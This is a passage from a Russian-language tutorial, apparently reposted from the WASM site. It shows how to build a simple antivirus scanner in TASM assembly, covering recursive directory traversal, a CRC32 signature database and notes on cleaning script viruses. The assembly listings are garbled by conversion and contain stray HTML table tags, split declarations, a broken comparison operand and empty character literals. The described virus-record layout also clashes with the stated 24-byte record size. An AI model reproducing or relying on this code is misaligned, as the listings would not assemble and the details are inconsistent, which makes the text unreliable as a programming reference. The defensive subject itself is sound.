т.е. нельзя искать только файлы или только каталоги. Когда используется маска ‘*.*
то будут найдены все каталоги и файлы, содержащиеся в указанном перед маской
каталоге.

 Все конечно хорошо, но необходимо что бы наша
антивирусная программа могла проверять файлы не только в указанном каталоге, но
и в тех, что расположены ниже. Для этого мы должны писать рекурсивную
процедуру, т.е. такую, которая умеет вызывать сама себя.

 Прежде всего, необходимо объявить переменную
для поиска в каталогах содержащих множество других подкаталогов. Думаю, что
пользователей, у которых количество подкаталогов в каталоге превышает 50
единицы, по этому ограничимся этим числом. И так, для процесса поиска в каждом
каталоге должны быть индивидуальными (не использоваться в других процессах) маска
поиска
(максимум 260 символов), идентификатор поиска (двойное слово,
4 байта), структура для поиска (318 байт) и флаг (размером 1
байт, а для чего нужен этот флаг, я объясню позже). В результате мы должны
объявить переменную а/ля ”buf
db ( ( 1 +
260 + 4 + 318
) * 50 )”. Ячейка для каждого процесса поиска
будет занимать 1+260+4+318 = 583 байта и одновременно может вестись 50
процессов (не более). Конечно, можно использовать память из стека, но это будет
тяжелее объяснить.

Структура
размещения данных в ячейке может быть такой, какая удобна вам.

Я
предлагаю структуру такого типа:

      

  1.   <b>флаг поиска (0 – ищем только файлы, 1 – только каталоги)</b>
  2.   <b>маска для поиска в каталоге</b>
  3.   <b>идентификатор поиска</b>
  4.   <b>структура для поиска</b>

 Теперь
поговорим о алгоритме поиска. Сначала необходимо обработать все файлы текущего
каталога, а затем уже подкаталоги. Но API сначала находят подкаталоги, а потом уже файлы.
Вот для этого и необходим флаг.

При первом поиске флаг настраивается только на
поиск файлов, те если значение флага не совпадает с необходимым, то найденные
каталоги просто пропускаются. По окончанию поиска флаг перенастраивается на
поиск только каталогов, и теперь уже пропускаются файлы.

Давайте рассмотрим пример программы обходящей
дерево каталогов в поиске всех файлов…

Код (Text):
  1.   ; компилировать: tasm32 -ml walk.asm
  2.   ;                             tlink32 -Tpe -c
  3.   -x walk.obj ,,, import32
  4.   ;
  5.   .386P
  6.   .model flat, stdcall
Код (Text):
  1.   extrn
  2.   extrn
  3.   extrn
  4.   extrn
  5.   extrn
Код (Text):
  1.   lstrlenA:near
  2.   ExitProcess:near
  3.   FindFirstFileA:near
  4.   FindNextFileA:near
  5.   FindClose:near
Код (Text):
  1.   ; список API использующихся программой
Код (Text):
  1.   ENTRY_SIZE
Код (Text):
  1.   equ 1+260+4+318
Код (Text):
  1.   ; размер одной ячейки для процесса поиска
Код (Text):
  1.   .data
Код (Text):
  1.   ; сегмент данных
Код (Text):
  1.   mask
  2.   search_dir
  3.   buffer
Код (Text):
  1.   db ‘*.*’,0
  2.   db ‘c:Program files’,0
  3.   db (ENTRY_SIZE*50)
  4.   dup (?)
Код (Text):
  1.   ; <i>маска для поиска</i>
  2.   ; начальный каталог для поиска
  3.   ; буфер под 50 «одновременных» <i>процессов поиска</i>
Код (Text):
  1.   .code
Код (Text):
  1.   ; сегмент кода
Код (Text):
  1.   <b><u>start:</u></b>
  2.   </td>
  3.   <td width=252 valign=top>
  4.  <code><pre>
  5.   mov  esi,offset <u>search_dir</u>
  6.   push esi
  7.   call   <b>lstrlenA</b>
  8.   xchg eax,ecx
  9.   inc    ecx
  10.   mov  edi,offset <u>buffer</u>
  11.   inc    edi
  12.   rep    movsb
Код (Text):
  1.   ; esi – путь для поиска файлов
  2.   ; получим размер пути в ASCII символах в eax
  3.   ; обменяем значениями ecx и eax
  4.   ; ecx = размер пути + NULL
  5.   ; перенесем «полу готовую» маску для
  6.   ; первого процесса поиска
Код (Text):
  1.   push  offset <u>buffer</u>
  2.   call    find
Код (Text):
  1.   ; указатель на готовую структуру для поиска
Код (Text):
  1.   push  0
  2.   call   <b>ExitProcess</b>
Код (Text):
  1.   ; выйдем в ОС
Код (Text):
  1.   ————————
  2.   ; поиск файлов с использованием указанной в “soff” ячейки (и последующих)
Код (Text):
  1.   <b><u>find</u></b>
Код (Text):
  1.   <b><u>proc  <i>soff</i>: dword</u></b>
Код (Text):
  1.   mov  ebx, <i>soff</i>
  2.   mov  byte ptr [ebx],0
  3.   mov  edi,ebx
  4.   inc    edi
  5.   push  edi
  6.   call   <b>lstrlenA</b>
  7.   add   edi,eax
  8.   cmp  byte ptr [edi-1’,’*’
  9.   jz      first_find
Код (Text):
  1.   ; ebx – указатель на текущую ячейку
  2.   ; установим флаг
  3.   (значение 0) на поиск файлов
  4.   ; edi–1 – текущий каталог
  5.   ; eax — длина пути в ASCII символах
  6.   ; если маска уже присутствует в пути
  7.   ; ищем первый объект (файл или каталог)
Код (Text):
  1.   check_slash:
Код (Text):
  1.   mov  esi,offset <u>mask</u>
  2.   cmp  byte ptr [edi-1],’’
  3.   jnz    nneed_slash
  4.   inc    esi
Код (Text):
  1.   ; esi – смещение общей маски для поиска
  2.   ; проветим, есть ли слеш в конце пути
  3.   ; если есть, то пропустим
Код (Text):
  1.   nneed_slash:
  2.   </td>
  3.   <td width=252 valign=top>
  4.  <code><pre>
  5.   push  esi
  6.   call   lstrlenA
  7.   inc    eax
  8.   xchg  eax,ecx
  9.   rep    movsb
Код (Text):
  1.   ; eax – длина маски
  2.   ; прибавим NULL к длине
  3.   ; дополним путь маской и слешем (если необходимо)
Код (Text):
  1.   find_first:
Код (Text):
  1.   mov  edx,ebx
  2.   add   edx,1+260+4
  3.   push  edx
  4.   mov   edx,ebx
  5.   inc     edx
  6.   push   edx
  7.   call    <b>FindFirstFileA</b>
  8.   cmp   eax,-1
  9.   jnz   save_fnd_hndl
Код (Text):
  1.   ; edx – указывает на ячейку процесса поиска
  2.   ; edx – указывает на <i>структуру для поиска</i>
  3.   ; первый параметр для API <b>FindFirstFileA</b>
  4.   ; edx – указывает на ячейку процесса поиска
  5.   ; edx – указывает на <i>маску для поиска</i>
  6.   ; второй параметр
  7.   ; выполним API
  8.   ; если eax = -1 значит произошла ошибка
  9.   ; иначе проверим найденный объект
Код (Text):
  1.   test_fod:
Код (Text):
  1.   cmp   byte ptr [ebx],1
  2.   jz    end_find
Код (Text):
  1.   ; если <i>флаг</i> = 1, то поиск подкаталогов был уже
  2.   ; проведен в этом каталоге, осталось закончить
  3.   ; процесс
Код (Text):
  1.   set_filesfind:
Код (Text):
  1.   inc     byte ptr [ebx]
  2.   jmp     first_find
Код (Text):
  1.   ; если <i>флаг </i>= 0, то все файлы в каталоге
  2.   ; были обработаны, устанавливаем <i>флагу</i>
  3.   ; значение 1 и обрабатываем подкаталоги
Код (Text):
  1.   end_find:
Код (Text):
  1.   push   dword ptr [ebx+1+260]
  2.   call     <b>FindClose</b>
  3.   ret
Код (Text):
  1.   ; ebx = ebx + 1 + 260 = <i>идентификатор  поиска</i>
  2.   ; прекратим процесс поиска в каталоге
Код (Text):
  1.   ; ———————-
  2.   ; процесс проверки найденного объекта
Код (Text):
  1.   save_fnd_hndl:
Код (Text):
  1.   mov    dword ptr
  2.   [ebx+1+260],eax
Код (Text):
  1.   ; сохраним <i>идентификатор поиска</i>
Код (Text):
  1.   lf:
Код (Text):
  1.   cmp     byte
  2.   ptr [ebx+1+260+4+44],’.’
  3.   je      find_next
Код (Text):
  1.   ; пропустим подкаталоги “.” и “..”
Код (Text):
  1.   test_if_dir:
Код (Text):
  1.   test      byte ptr
  2.   [ebx+1+260+4],10h
  3.   jz        found_file
Код (Text):
  1.   ; перейдем если нашли файл
Код (Text):
  1.   proc_dir:
Код (Text):
  1.   cmp    byte ptr [ebx],1
  2.   jnz    find_next
Код (Text):
  1.   ; если ищем только файлы (<i>флаг</i> = 0), то
  2.   ; каталоги не трогаем
Код (Text):
  1.   ;———————-
  2.   ; если файлы каталога были проверены, то по очереди будут проверяться подкаталоги.
  3.   ; подготавливаем <i>маску поиска </i>для найденного подкаталога в следующей ячейке и запускаем себя
Код (Text):
  1.   prepare_rec:
Код (Text):
  1.   mov    edi,ebx
  2.   add     edi,( ( ENTRY_SIZE ) +  1 )
  3.   mov    esi,ebx
  4.   inc      esi
  5.   push    esi
  6.   call      <b>lstrlenA</b>
  7.   xchg    eax,ecx
  8.   sub      ecx,4
  9.   cmp     byte ptr [esi+ecx],’’
  10.   jnz      not_root
  11.   inc      ecx
Код (Text):
  1.   ; edi – ячейка текущего процесса поиска
  2.   ; edi – ячейка следующего процесса поиска+1
  3.   ; esi – ячейка текущего процесса поиска
  4.   ; esi – <i>маска поиска </i>текущего процесса
  5.   ; eax — длина <i>маски поиска </i>текущего процесса
  6.   ; отнимем от длины  4 символа (маску и слеш)
  7.   ; корневой каталог, …
  8.   ; … оставим слеш
Код (Text):
  1.   not_root:
Код (Text):
  1.   rep      movsb
Код (Text):
  1.   ; перенесем «полу готовую маску» в
  2.   ; следующую ячейку
Код (Text):
  1.   mov    esi,ebx
  2.   add     esi,1+260+4+44
  3.   push    esi
  4.   call      <b>lstrlenA</b>
  5.   inc       eax
  6.   xchg    eax,ecx
  7.   rep       movsb
  8.   add      ebx,(ENTRY_SIZE)
  9.   push     ebx
  10.   call      <b><u>find</u></b>
  11.   sub       ebx,(ENTRY_SIZE)
  12.   jmp      find_next
Код (Text):
  1.   ; esi – имя найденного подкаталога
  2.   ; eax – длина найденного подкаталога
  3.   ; eax – длина найденного подкаталога + 0
  4.   ; дополнить маску найденным подкаталогом
  5.   ; ebx – ячейка следующего процесса поиска
  6.   ; параметр для вызова “себя”
  7.   ; ищем в подкаталоге
  8.   ; ebx – ячейка этого процесса поиска
  9.   ; ищем следующий объект
Код (Text):
  1.   found_file:
  2.   </td>
  3.   <td width=252 valign=top>
  4.  <code><pre>
  5.   cmp     byte ptr [ebx],1
  6.   jz         find_next
  7.   ———————————————
Код (Text):
  1.   ; если ищем каталоги, то файлы не трогаем
  2.   ; код для работы с найденными файлами
Код (Text):
  1.   find_next:
Код (Text):
  1.   mov    edx,ebx
  2.   add     edx,1+260+4
  3.   push    edx
  4.   push    dword ptr [ebx+1+260]
  5.   call      <b>FindNextFileA</b>
  6.   cmp     eax,0
  7.   jnz      
  8.   lf
  9.   jmp      test_fod
Код (Text):
  1.   ; edx – указывает на <i>структуру для поиска</i>
  2.   ; первый параметр для API <b>FindNextFileA</b>
  3.   ; второй параметр <i>идентификатор поиска</i>
  4.   ; выполним API
  5.   ; если нашли объект, проведем его анализ
  6.   ; если ничего не нашли
Код (Text):
  1.   <b><u>endp</u></b>
Код (Text):
  1.   end       <b><u>start</u></b>

7. Основы построения вирусной базы

 Данные
необходимые для поиска и лечения вирусов обычно хранятся в вирусной базе.
Ее формат может быть любым, стандартов не существует. Мы рассмотрим пример
вирусной базы для детектирования скрипт вирусов, которая будет содержаться в
исходном коде программы, а не в отдельном файле.

 

  1.   <b>количество вирусов в базе данных</b>
  2.   <b>название вируса в </b><b>ASCII кодировке</b>
  3.   <b>размер названия 20 байт, оставшиеся байты</b>
  4.   <b>сигнатура участка длиной 75 байт, по смещению 75 кода вируса,
  5.      она же  сигнатура для детектирования</b>

 Вот мы имеем простейшую
вирусную базу для трех вирусов. Размер одной вирусной записи (данных об
одном вирусе, необходимых для его детектирования и лечения) в данном случае
составляет 20 + 4 = 24 байта.

 Если
же вирусная база хранится в отдельном файле, то при старте антивирусный сканер
должен загрузить ее в память, для того, чтобы к данным, хранящимся в ней, было
быстрее и проще «обращаться» в необходимости. Для этого пишутся специальные
процедуры разбора, ну и конечно же вирусные записи содержат гораздо
больше данных, например таких как тип вируса, адреса процедур для
детектирования и лечения … Но обо всем этом в следующий раз, в следующих
статьях.

8. Основы работы с вирусной базой

 В
нашем случае, необходимо писать процедуру для работы с найденными файлами, т.е.
читать данные из файла по смещению 75 и размером 75 байт, считать контрольную
сумму и сравнивать по очереди с указанной во всех доступных (в нашем случае 2) вирусных
записях
в вирусной базе. Если совпадает, выводит информацию о том,
что найденный файл заражен определенным вирусом.

 Допустим, программа нашла файл, прочитала из него 75 байт по
смещению 75 и подсчитала контрольную сумму этого участка. Контрольная сумма
содержится в переменной “crc32_buf”. Вот как должен выглядеть процесс проверки на зараженность известными
программе вирусами:

Код (Text):
  1.   mov eax,dword ptr crc32_buf
  2.   mov ecx,dword ptr vir_no
  3.   mov esi,offset vir_001_name
Код (Text):
  1.   ; eax – контрольная сумма участка
  2.   ; ecx – количество вирусов в базе
  3.   ; esi – начало первой <i>вирусной записи</i>
Код (Text):
  1.   cmp_crc32_loop:
Код (Text):
  1.   push ecx esi
  2.   cmp eax,dword ptr [esi+20]
  3.   jnz next_crc
  4.   pop   esi ecx
Код (Text):
  1.   ; запомним данные регистров
  2.   ; проверим контрольную сумму с вирусной
  3.   ; если не совпадает перейдем к “next_crc”
  4.   ; востановим значение регистров
Код (Text):
  1.   infected:
———————————————
Код (Text):
  1.   ; если файл заражен вирусом …
Код (Text):
  1.   next_crc:
Код (Text):
  1.   pop esi ecx
  2.   add esi,24
  3.   loop 
  4.   cmp_crc32_loop
Код (Text):
  1.   ; восстановим значение регистров
  2.   ; перейдем к следующей <i>вирусной записи</i>
  3.   ; цикл

9. Заметки по лечению вирусов

 В данном случае найденные файлы с вирусами
можно просто удалять, но это самые простейшие вирусы. Обычно каждый вирус
изменяет что-то в файлах настройках операционной системы, пытается спрятаться
от чужих глаз. Даже для вирусов, файлы носители которых (дропперы) можно
просто удалять это (скорее всего) не будет являться сто процентным лечением.
Необходим анализ алгоритма работы вируса, вполне возможно он уже (например)
успел прописать свой вызов в WIN.INI
из «потайного места». Так как эти типы вирусов не заражают файлов, то от них
мог бы избавиться любой начинающий пользователь. Авторы таких вирусов знают это
и для этого предпринимают разнообразные хитрые методы для того, что бы вирус
мог выжить после «чистки», вернуться «к жизни» второй раз.

10. Заключение

Соответственно если
Вы заинтересовались этой областью программирования, придется разбираться и
изучать (хотя бы основы) множество скрипт языков программирования. Я не говорю
про основы строения исполняемых файлов написанных не на ассемблере, а на языках
высокого уровня. Как раз на них и пишется большинство троянских коней.
Необходимо будет разбираться с различными упаковщиками и шифровщиками
исполняемых файлов, строением архивов …

 Все примеры программ, которые были представлены Вашему вниманию в
статье, доступны в ZIP-архиве, но в немного измененном виде. Добавлен вывод «рабочей
информации» через консоль и почти полностью отсутствуют комментарии к
программе, но в статье комментариев изобилие.

 Готовое подобие антивирусного сканера так же доступно, а так же
прилагаются КУСКИ вирусных дропперов, которые вставлены в базу
антивируса (которую мы рассматривали выше). Полный вирусный код я не
представляю, так как в этом нет необходимости.

 Если
статья действительно кому-нибудь поможет, то я буду писать на эту тему еще …
например про основы детектирования и лечения файловых вирусов, технологии анализа
программного кода
(кодо-анализаторов) и эмуляции программного кода (для
детектирования полиморфных и шифрованных вирусов) …


archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532


WASM

Понравилась статья? Поделить с друзьями:
  • Как написать программный код
  • Как написать программку к спектаклю
  • Как написать прогноз погоды на английском языке
  • Как написать провокационный пост
  • Как написать проверочный код